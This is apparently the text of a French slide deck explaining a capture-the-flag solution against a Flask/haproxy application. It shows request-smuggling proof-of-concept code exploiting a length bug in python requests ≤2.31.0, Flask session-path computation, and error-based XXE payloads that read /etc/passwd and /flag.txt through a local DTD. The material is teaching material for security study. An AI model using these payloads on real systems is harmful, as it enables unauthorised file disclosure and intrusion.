2/46
3/46
4/46
frontend
flask
haproxy
flask
backend
5/46
FROM alpine:3.20.3
WORKDIR /usr/app
COPY ./src/ .
COPY ./flag.txt /
# ...
Le flag est à la racine du frontend
→ file read / RCE
6/46
from_zone = request.form.get("from_zone", "Europe/Paris")
to_zone = request.form.get("to_zone", "Europe/Paris")
time = request.form.get("time", "12:30")
r = session["request"].post("http://backend/convert",
headers={ "Content-Type": "application/x-www-form-urlencoded" },
data=f"from_zone={from_zone}&to_zone={to_zone}&time={time}"
)
python.requests utilisé pour communiquer avec le backend
7/46
if not r.status_code == 200:
return { "status_code": r.status_code, "error": r.text }, 500
parsed_xml = {
child.tag: child.text
for child in etree.fromstring(r.text)
}
lxml utilisé pour parser la réponse du backend
8/46
except Exception as e:
return {
"error": sanitize_xml(str(e)),
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
}
Input refleté via les erreurs dans la réponse du backend
9/46
def sanitize_xml(xml):
if not type(xml) == str:
return xml
forbidden_chars = ["&","<",">",'"',"%"]
for forbidden_char in forbidden_chars:
xml = xml.replace(forbidden_char, "")
return xml
Mais sanitize correctement...
10/46
11/46
12/46
from requests import post
smug = "GET /smug HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
post("http://127.0.0.1", data="\xFF"*len(smug)+smug)
Version ≤ v2.31.0
13/46
>>> "\xFF"
'ÿ'
>>> "\xFF".encode()
b'\xc3\xbf'
len(str) != len(bytes)
UTF-8 ❤️
>>> len("\xFF")
1
>>> len("\xFF".encode())
2
14/46
Fix v2.32.0
(source)
15/46
>>> req = open("req.txt", "rb").read()
>>> body = req.split(b"\r\n\r\n")[1] + b"\r\n\r\n"
>>> len(body)
117
78 != 117 :)
16/46
Ca fonctionne aussi dans une session !
from requests import session
s = session()
smug = "GET /404 HTTP/1.1\r\nX-Header: X"
s.post("http://127.0.0.1", data="\xFF"*len(smug)+smug)
r = s.get("/home")
print(r.text)
# /404
17/46
18/46
from flask import Flask, send_file
app = Flask(__name__)
@app.get("/")
def index():
return send_file("/etc/passwd")
app.run("0.0.0.0", 4444)
19/46
Résultat d'une requête en HTTP/1.1 (tout va bien)
20/46
Résultat d'une requête avec Range en HTTP/1.1 (tout va bien)
Résultat d'une requête avec Range en HTTP/0.9
(Range = HTTP/1.1 → ?????)
21/46
Résultat d'une requête avec Range en HTTP/0.9
(Range = HTTP/1.1 → ?????)
23/46
25/46
26/46
Et oui, python.requests handle aussi ce charset de réponse !
27/46
28/46
29/46
30/46
31/46
XX/XX
33/46
34/46
35/46
36/46
$ python3
>>> from lxml import etree
>>> payload='''
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % constant 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///patt/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>Text</message>
'''
>>> xxe = etree.fromstring(payload)
Traceback (most recent call last):
[...]
lxml.etree.XMLSyntaxError: Element content declaration doesn't start and stop in the same entity, line 150, column 29
37/46
38/46
39/46
40/46
41/46
/lib/python3.11/site-packages/cachelib/file.py#L264
42/46
43/46
/lib/python3.11/site-packages/cachelib/file.py#L210
/lib/python3.11/site-packages/cachelib/file.py#L52
44/46
import requests
res = requests.get(f"http://{HOST}:{PORT}/")
session = res.headers["Set-Cookie"].split("session=")[1].split(";")[0]
print("/usr/app/flask_sessions/"+md5(f"session:{session}".encode().hexdigest()))
45/46
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file://{FILENAME}">
<!ENTITY % A '
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;
'>">
%eval;
%error;<!--
'>
%local_dtd;
]>
<message></message>
46/46